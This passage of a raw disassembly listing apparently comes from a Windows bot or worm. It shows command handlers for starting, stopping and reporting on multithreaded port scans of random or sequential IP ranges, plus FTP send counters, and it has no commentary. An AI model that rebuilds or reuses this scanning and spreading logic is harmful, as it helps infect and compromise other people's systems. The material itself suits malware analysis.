call sub_40110E
mov edx, [ebx]
push esi
mov [eax], edx
call sub_4010EB
push esi
mov ebx, eax
call sub_40110E
mov eax, [eax]
push eax
call sub_4010EB
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_40108C
add esp, 1Ch
mov ecx, edi
push eax
call sub_401E7E
push esi
mov ecx, edi
call sub_4021DA
sub_422510 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4225D0 proc near ; CODE XREF: sub_4010EBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4225D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4225F0 proc near ; CODE XREF: sub_4020DBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_4225F0 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422620 proc near ; CODE XREF: sub_4018F2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_422620 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422640 proc near ; CODE XREF: sub_4013E8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401EF1
add esp, 8
retn 8
sub_422640 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422670 proc near ; CODE XREF: sub_4018FCj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_422670 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422690 proc near ; CODE XREF: sub_4018F7j
mov eax, [ecx]
retn
sub_422690 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4226B0 proc near ; CODE XREF: sub_4019BAj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401839
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4226B0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4226E0 proc near ; CODE XREF: sub_40163Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401A8C
pop ecx
retn 4
sub_4226E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422700 proc near ; CODE XREF: sub_401E7Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401FB9
pop ecx
retn 4
sub_422700 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422720 proc near ; CODE XREF: sub_401A3Cj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_42273B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_42273B: ; CODE XREF: sub_422720+11j
retn
sub_422720 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422750 proc near ; CODE XREF: sub_40203Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_422750
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+10h+arg_0]
push eax
push 19h
call sub_4011CC
add esp, 8
mov [esp+10h+var_10], eax
test eax, eax
mov [esp+10h+var_4], 0
jz short loc_422791
mov ecx, [esp+10h+arg_4]
push ecx
mov ecx, eax
call sub_401681
loc_422791: ; CODE XREF: sub_422750+33j
mov ecx, [esp+10h+var_C]
mov large fs:0, ecx
add esp, 10h
retn
sub_422750 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4227E0 proc near ; CODE XREF: sub_401EF1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_4227E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+10h+arg_0]
push eax
push 15h
call sub_4011CC
add esp, 8
mov [esp+10h+var_10], eax
test eax, eax
mov [esp+10h+var_4], 0
jz short loc_422821
mov ecx, [esp+10h+arg_4]
push ecx
mov ecx, eax
call sub_4014D3
loc_422821: ; CODE XREF: sub_4227E0+33j
mov ecx, [esp+10h+var_C]
mov large fs:0, ecx
add esp, 10h
retn
sub_4227E0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422850 proc near ; CODE XREF: sub_401A8Cj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push 0
call sub_4019C9
retn
sub_422850 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422870 proc near ; CODE XREF: sub_401FB9j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push 0
mov eax, [ecx]
call dword ptr [eax]
retn
sub_422870 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422890 proc near ; CODE XREF: sub_401681j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
push edi
call sub_4014D3
mov eax, [edi+15h]
pop edi
mov [esi+15h], eax
mov eax, esi
pop esi
retn 4
sub_422890 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4228C0 proc near ; CODE XREF: sub_4019C9j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A82
test [esp+4+arg_0], 1
jz short loc_4228D8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_4228D8: ; CODE XREF: sub_4228C0+Dj
mov eax, esi
pop esi
retn 4
sub_4228C0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4228F0 proc near ; CODE XREF: sub_401AF5j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4228F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 10h
push 9
push 3
push 4Fh
push 16h
push 4
lea eax, [esp+60h+var_3C]
push 1
mov esi, ecx
push eax
mov dword_4D7F9B, offset aAsn ; "asn"
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+8D008h]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_4228F0 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 14h
push 12h
push 1
push 14h
push 13h
push 4Fh
push 16h
push 4
lea edx, [esp+2Ch]
push 1
push edx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+8D036h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 0Eh
push 1
push 3
lea ecx, [esp+2Ch]
push 13h
push ecx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017EE
lea edx, [esi+8D064h]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 13h
push 14h
push 1
push 14h
push 13h
push 4Fh
push 16h
push 4
lea eax, [esp+2Ch]
push 1
push eax
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
lea ecx, [esi+8D092h]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 13h
push 14h
push 1
push 14h
push 13h
push 4Fh
push 10h
push 14h
lea edx, [esp+44h]
push 6
push edx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017EE
add esi, 8D0C0h
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422B40 proc near ; CODE XREF: sub_40138Ej
var_78D = byte ptr -78Dh
var_78C = dword ptr -78Ch
var_788 = byte ptr -788h
var_780 = dword ptr -780h
var_770 = byte ptr -770h
var_760 = byte ptr -760h
var_6E0 = byte ptr -6E0h
var_660 = dword ptr -660h
var_65C = dword ptr -65Ch
var_658 = dword ptr -658h
var_654 = dword ptr -654h
var_650 = dword ptr -650h
var_644 = dword ptr -644h
var_640 = dword ptr -640h
var_638 = dword ptr -638h
var_634 = dword ptr -634h
var_630 = dword ptr -630h
var_624 = byte ptr -624h
var_60C = byte ptr -60Ch
var_40C = byte ptr -40Ch
var_20C = byte ptr -20Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_422B40
push eax
mov large fs:0, esp
sub esp, 784h
push ebx
push ebp
push esi
mov esi, [esp+79Ch+arg_0]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+8D008h]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_422C0A
push 3
call sub_40148D
add esp, 4
test eax, eax
jle short loc_422BDD
push 3
call sub_401DA2
mov eax, dword_50DB60[eax*8]
add esp, 4
push eax
call near ptr 71AB3F41h
nop
push eax
push offset aScanCipS ; "scan: cip (%s)"
lea ecx, [esi+2Ah]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 18h
mov al, 1
jmp loc_422F3B
; ---------------------------------------------------------------------------
loc_422BDD: ; CODE XREF: sub_422B40+52j
lea ecx, [esi+2Ah]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push offset aScanNotStarted ; "scan: not started"
push edx
push eax
mov ecx, offset byte_4D8085
call sub_401118
mov al, 1
jmp loc_422F3B
; ---------------------------------------------------------------------------
loc_422C0A: ; CODE XREF: sub_422B40+40j
lea ecx, [ebp+8D0C0h]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_422CB0
mov edi, dword_4D8380
push offset asc_444600 ; " "
lea ecx, [esp+7A4h+var_788]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 0
call sub_4017EE
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov ebx, eax
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
cmp edi, ebx
jl loc_4232BD
mov edx, dword_44965F
push edi
push edx
push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
lea ecx, [esi+2Ah]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 1Ch
mov al, 1
jmp loc_422F3B
; ---------------------------------------------------------------------------
loc_422CB0: ; CODE XREF: sub_422B40+DFj
lea ecx, [ebp+8D064h]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_422D30
push eax
push 3
call sub_401DA7
add esp, 8
test eax, eax
jle short loc_422D05
push eax
push offset aScanStoppedDTh ; "scan: stopped (%d threads)"
lea ecx, [esi+2Ah]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
jmp loc_422F39
; ---------------------------------------------------------------------------
loc_422D05: ; CODE XREF: sub_422B40+194j
lea ecx, [esi+2Ah]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aScanCouldnTSto ; "scan: couldn't stop"
push ecx
push edx
mov ecx, offset byte_4D8085
call sub_401118
jmp loc_422F39
; ---------------------------------------------------------------------------
loc_422D30: ; CODE XREF: sub_422B40+185j
lea ecx, [ebp+8D036h]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
mov edi, dword_511B14
test eax, eax
jnz loc_422DDE
push 3
call sub_40148D
add esp, 4
mov ebx, eax
lea eax, [esp+7A0h+var_788]
mov ecx, esi
push offset asc_444600 ; " "
push 2
push eax
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 1
call sub_4017EE
push eax
call edi
add eax, ebx
add esp, 4
cmp eax, 1F4h
lea ecx, [esp+7A0h+var_788]
setnle [esp+7A0h+var_78D]
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
mov al, [esp+7A0h+var_78D]
test al, al
jz loc_422F56
push ebx
push offset aScanTooManyThr ; "scan: too many threads (%s)"
lea ecx, [esi+2Ah]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_422DDE: ; CODE XREF: sub_422B40+20Bj
lea ecx, [ebp+8D092h]
call sub_4014DD
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_422F39
push offset asc_444600 ; " "
lea eax, [esp+7A4h+var_624]
push 1
push eax
mov ecx, esi
xor ebx, ebx
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 0Ah
call sub_4017EE
push eax
call edi
add esp, 4
lea ecx, [esp+7A0h+var_624]
mov edi, eax
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
mov eax, dword_445430
mov [esp+7A0h+var_78D], bl
test eax, eax
jz short loc_422E69
mov eax, offset dword_445430
loc_422E55: ; CODE XREF: sub_422B40+327j
cmp [eax+8], edi
jb short loc_422E5F
mov [esp+7A0h+var_78D], 1
loc_422E5F: ; CODE XREF: sub_422B40+318j
mov ecx, [eax+3Ch]
add eax, 3Ch
test ecx, ecx
jnz short loc_422E55
loc_422E69: ; CODE XREF: sub_422B40+30Ej
mov ebp, dword_511C00
lea ecx, [esp+7A0h+var_60C]
push offset aScanStats ; "scan: stats:"
push ecx
call ebp
mov eax, dword_445430
add esp, 8
test eax, eax
jz short loc_422ECF
mov edi, offset dword_445438
loc_422E8F: ; CODE XREF: sub_422B40+38Dj
mov eax, [edi]
lea edx, [edi-26h]
add ebx, eax
push eax
push edx
lea eax, [esp+7A8h+var_40C]
push offset aSD ; " %s: %d,"
push eax
call ebp
lea ecx, [esp+7B0h+var_40C]
push 200h
lea edx, [esp+7B4h+var_60C]
push ecx
push edx
nop
call near ptr 77C47920h
mov eax, [edi+34h]
add edi, 3Ch
add esp, 1Ch
test eax, eax
jnz short loc_422E8F
loc_422ECF: ; CODE XREF: sub_422B40+348j
push ebx
lea eax, [esp+7A4h+var_40C]
push offset aTotalD ; " total: %d"
push eax
call ebp
lea ecx, [esp+7ACh+var_40C]
push 200h
lea edx, [esp+7B0h+var_60C]
push ecx
push edx
call near ptr 77C47920h
nop
mov al, [esp+7B8h+var_78D]
add esp, 18h
test al, al
jz short loc_422F29
xor eax, eax
lea ecx, [esp+7A0h+var_60C]
mov al, [esi+94h]
push eax
push ecx
lea ecx, [esi+2Ah]
call sub_4014DD
push eax
push 0
call sub_40152D
add esp, 10h
loc_422F29: ; CODE XREF: sub_422B40+3C3j
lea edx, [esp+7A0h+var_60C]
push edx
call sub_4010D2
add esp, 4
loc_422F39: ; CODE XREF: sub_422B40+1C0j
; sub_422B40+1EBj ...
xor al, al
loc_422F3B: ; CODE XREF: sub_422B40+98j
; sub_422B40+C5j ...
mov ecx, [esp+7A0h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 790h
retn 4
; ---------------------------------------------------------------------------
loc_422F56: ; CODE XREF: sub_422B40+26Ej
push offset asc_444600 ; " "
lea eax, [esp+7A4h+var_788]
push 1
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 2
call sub_4017EE
push eax
call edi
or ebx, 0FFFFFFFFh
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_65C], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+7A4h+var_788]
push 2
push ecx
mov ecx, esi
call sub_4016B8
mov ebp, 3
mov ecx, eax
mov [esp+7A0h+var_4], ebp
call sub_4017EE
push eax
call edi
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_644], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+7A4h+var_788]
push ebp
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 4
call sub_4017EE
push eax
call edi
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_658], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
mov eax, [esp+7A0h+var_658]
cmp eax, ebp
jnb short loc_423033
mov [esp+7A0h+var_658], ebp
jmp short loc_423043
; ---------------------------------------------------------------------------
loc_423033: ; CODE XREF: sub_422B40+4E8j
cmp eax, 3Ch
jbe short loc_423043
mov [esp+7A0h+var_658], 3Ch
loc_423043: ; CODE XREF: sub_422B40+4F1j
; sub_422B40+4F6j
push offset asc_444600 ; " "
lea eax, [esp+7A4h+var_788]
push 4
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 5
call sub_4017EE
push eax
call edi
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_654], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
mov ecx, [esp+7A0h+var_654]
mov eax, 960h
cmp ecx, eax
jbe short loc_42309C
mov [esp+7A0h+var_654], eax
loc_42309C: ; CODE XREF: sub_422B40+553j
mov eax, dword_445430
mov [esp+7A0h+var_640], ebx
test eax, eax
mov [esp+7A0h+var_78C], 0
jz loc_42316C
mov ebp, offset dword_445430
jmp short loc_4230C2
; ---------------------------------------------------------------------------
loc_4230BF: ; CODE XREF: sub_422B40+602j
or ebx, 0FFFFFFFFh
loc_4230C2: ; CODE XREF: sub_422B40+57Dj
push offset asc_444600 ; " "
lea ecx, [esp+7A4h+var_788]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 6
call sub_4017EE
mov edi, eax
lea ecx, [ebp-28h]
loc_4230EC: ; CODE XREF: sub_422B40+5CAj
mov dl, [ecx]
mov al, dl
cmp dl, [edi]
jnz short loc_423110
test al, al
jz short loc_42310C
mov dl, [ecx+1]
mov al, dl
cmp dl, [edi+1]
jnz short loc_423110
add ecx, 2
add edi, 2
test al, al
jnz short loc_4230EC
loc_42310C: ; CODE XREF: sub_422B40+5B6j
xor eax, eax
jmp short loc_423114
; ---------------------------------------------------------------------------
loc_423110: ; CODE XREF: sub_422B40+5B2j
; sub_422B40+5C0j
sbb eax, eax
sbb eax, ebx
loc_423114: ; CODE XREF: sub_422B40+5CEj
test eax, eax
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_4], 0FFFFFFFFh
setz bl
call sub_401226
test bl, bl
jnz short loc_42314A
mov edx, [esp+7A0h+var_78C]
mov eax, [ebp+3Ch]
add ebp, 3Ch
inc edx
test eax, eax
mov [esp+7A0h+var_78C], edx
jnz loc_4230BF
jmp short loc_423169
; ---------------------------------------------------------------------------
loc_42314A: ; CODE XREF: sub_422B40+5EFj
mov ecx, [esp+7A0h+var_78C]
mov [esp+7A0h+var_640], ecx
lea eax, [ecx+ecx*2]
lea eax, [eax+eax*4]
mov edx, dword_445430[eax*4]
mov [esp+7A0h+var_65C], edx
loc_423169: ; CODE XREF: sub_422B40+608j
or ebx, 0FFFFFFFFh
loc_42316C: ; CODE XREF: sub_422B40+572j
mov eax, [esp+7A0h+var_65C]
test eax, eax
jnz short loc_42318A
lea ecx, [esi+2Ah]
call sub_4014DD
push eax
push offset aScanInvalidPor ; "scan: invalid port"
jmp loc_4232A5
; ---------------------------------------------------------------------------
loc_42318A: ; CODE XREF: sub_422B40+635j
push offset asc_444600 ; " "
lea edx, [esp+7A4h+var_788]
push 5
push edx
mov ecx, esi
call sub_4016B8
push offset dword_4447F8
mov ecx, eax
mov [esp+7A4h+var_4], 7
call sub_4013ED
lea ecx, [esp+7A0h+var_788]
mov edi, eax
mov [esp+7A0h+var_4], ebx
call sub_401226
test edi, edi
jz loc_423267
push offset asc_444600 ; " "
lea eax, [esp+7A4h+var_788]
push 5
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 8
call sub_4017EE
push eax
lea ecx, [esp+7A4h+var_770]
push 10h
push ecx
call near ptr 77C3FA76h
nop
add esp, 0Ch
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+7A4h+var_788]
push 5
push edx
mov ecx, esi
call sub_4016B8
push 78h
mov ecx, eax
mov [esp+7A4h+var_4], 9
call sub_4017EE
push eax
call near ptr 77C47660h
nop
add esp, 8
lea ecx, [esp+7A0h+var_788]
neg eax
sbb eax, eax
mov [esp+7A0h+var_4], ebx
neg eax
mov [esp+7A0h+var_630], eax
call sub_401226
jmp loc_423396
; ---------------------------------------------------------------------------
loc_423267: ; CODE XREF: sub_422B40+688j
push offset dword_4455FC
mov ecx, esi
call sub_4013ED
test eax, eax
jnz short loc_4232C4
push offset off_4455F8
mov ecx, esi
call sub_4013ED
test eax, eax
jnz short loc_4232C4
push offset aB ; " -b"
mov ecx, esi
call sub_4013ED
test eax, eax
jnz short loc_4232C4
lea ecx, [esi+2Ah]
call sub_4014DD
push eax
push offset aScanNoIpSpecif ; "scan: no ip specified"
loc_4232A5: ; CODE XREF: sub_422B40+645j
mov al, [esi+94h]
mov cl, [esi+93h]
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
loc_4232BD: ; CODE XREF: sub_422B40+132j
mov al, 1
jmp loc_422F3B
; ---------------------------------------------------------------------------
loc_4232C4: ; CODE XREF: sub_422B40+735j
; sub_422B40+745j ...
mov ecx, dword_4D809D
lea edx, [esp+7A0h+var_78C]
lea eax, [esp+7A0h+var_788]
push edx
push eax
push ecx
mov [esp+7ACh+var_78C], 10h
call near ptr 71AB951Eh
nop
push offset off_4455F8
mov ecx, esi
call sub_4013ED
mov edx, eax
mov eax, [esp+79Ch+var_780]
neg edx
sbb edx, edx
push 10h
and edx, 0FFFF0100h
add edx, 0FFFFh
and eax, edx
push eax
mov [esp+7A4h+var_780], eax
nop
call near ptr 71AB3F41h
push eax
lea eax, [esp+7A8h+var_770]
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
mov ecx, esi
push offset dword_4455FC
call sub_4013ED
test eax, eax
jz short loc_42338B
push offset off_4455F8
mov ecx, esi
call sub_4013ED
mov ebp, dword_511A9C
mov edi, eax
neg edi
sbb edi, edi
lea ecx, [esp+7A0h+var_770]
neg edi
push 30h
push ecx
add edi, 2
call ebp
add esp, 8
xor bl, bl
test edi, edi
jle short loc_42337E
loc_423362: ; CODE XREF: sub_422B40+83Cj
test eax, eax
jz short loc_42337E
lea edx, [esp+7A0h+var_770]
push 30h
push edx
mov byte ptr [eax], 78h
call ebp
add esp, 8
inc bl
movsx ecx, bl
cmp ecx, edi
jl short loc_423362
loc_42337E: ; CODE XREF: sub_422B40+820j
; sub_422B40+824j
mov [esp+7A0h+var_630], 1
jmp short loc_423396
; ---------------------------------------------------------------------------
loc_42338B: ; CODE XREF: sub_422B40+7F1j
mov [esp+7A0h+var_630], 0
loc_423396: ; CODE XREF: sub_422B40+722j
; sub_422B40+849j
mov edx, dword_4D809D
xor eax, eax
mov al, [esi+93h]
lea edi, [esi+2Ah]
mov ecx, edi
mov [esp+7A0h+var_660], edx
mov [esp+7A0h+var_638], 0
mov [esp+7A0h+var_634], eax
call sub_4017EE
push eax
lea ecx, [esp+7A4h+var_760]
push 80h
push ecx
nop
call near ptr 77C3FA76h
mov eax, [esp+7ACh+var_630]
add esp, 0Ch
test eax, eax
mov [esp+7A0h+var_6E0], 0
mov eax, offset aRandom ; "random"
jnz short loc_4233F8
mov eax, offset aSequential ; "sequential"
loc_4233F8: ; CODE XREF: sub_422B40+8B1j
mov edx, [esp+7A0h+var_644]
mov ecx, [esp+7A0h+var_654]
push edx
mov edx, [esp+7A4h+var_658]
push ecx
mov ecx, [esp+7A8h+var_65C]
push edx
lea edx, [esp+7ACh+var_770]
push ecx
push edx
push eax
mov eax, [esp+7B8h+var_640]
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea ecx, ds:445412h[eax*4]
push ecx
push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
mov ecx, edi
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
push 0
lea ecx, [esp+7D4h+var_20C]
push 3
push ecx
call sub_401BEA
add esp, 3Ch
lea edx, [esp+7A0h+var_770]
mov [esp+7A0h+var_650], eax
push edx
call sub_402284
mov al, 1
jmp loc_422F3B
sub_422B40 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 260h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4236F0 proc near ; CODE XREF: sub_40114Fj
arg_A6 = dword ptr 0AAh
arg_AE = dword ptr 0B2h
mov ecx, [esp+arg_AE]
push ebx
test ecx, ecx
push offset byte_448F40
mov ecx, offset dword_449968
setnz bl
call sub_4014DD
push eax
push ebx
push ebx
push offset byte_4D8085
call sub_401857
mov eax, [esp+18h+arg_A6]
add esp, 14h
lea eax, [eax+eax*2]
pop ebx
lea eax, [eax+eax*4]
mov ecx, dword_445438[eax*4]
inc ecx
mov dword_445438[eax*4], ecx
mov al, 1
retn
sub_4236F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423760 proc near ; CODE XREF: sub_401E10j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 14h
xor eax, eax
lea ecx, [esp+14h+var_14]
mov [esp+14h+var_10], eax
lea edx, [esp+14h+var_10]
mov [esp+14h+var_C], eax
push ecx
mov [esp+18h+var_8], eax
push edx
mov [esp+1Ch+var_4], eax
mov eax, [esp+1Ch+arg_0]
push eax
mov [esp+20h+var_14], 10h
call near ptr 71AB951Eh
nop
mov ecx, [esp+14h+var_C+3]
mov edx, [esp+14h+var_C+2]
mov eax, [esp+14h+var_C+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+18h+var_C]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
push offset aD_D_D_D ; "%d.%d.%d.%d"
push offset dword_50FAB8
nop
call near ptr word_5F67AE
mov eax, offset dword_50FAB8
add esp, 2Ch
retn
sub_423760 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423820 proc near ; CODE XREF: sub_401F55j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, dword_50DB60[esi*8]
push eax
call near ptr 71AB2BC0h
nop
inc eax
push eax
nop
call near ptr 71AB2BC0h
mov dword_50DB60[esi*8], eax
pop esi
retn
sub_423820 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423860 proc near ; CODE XREF: sub_401131j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
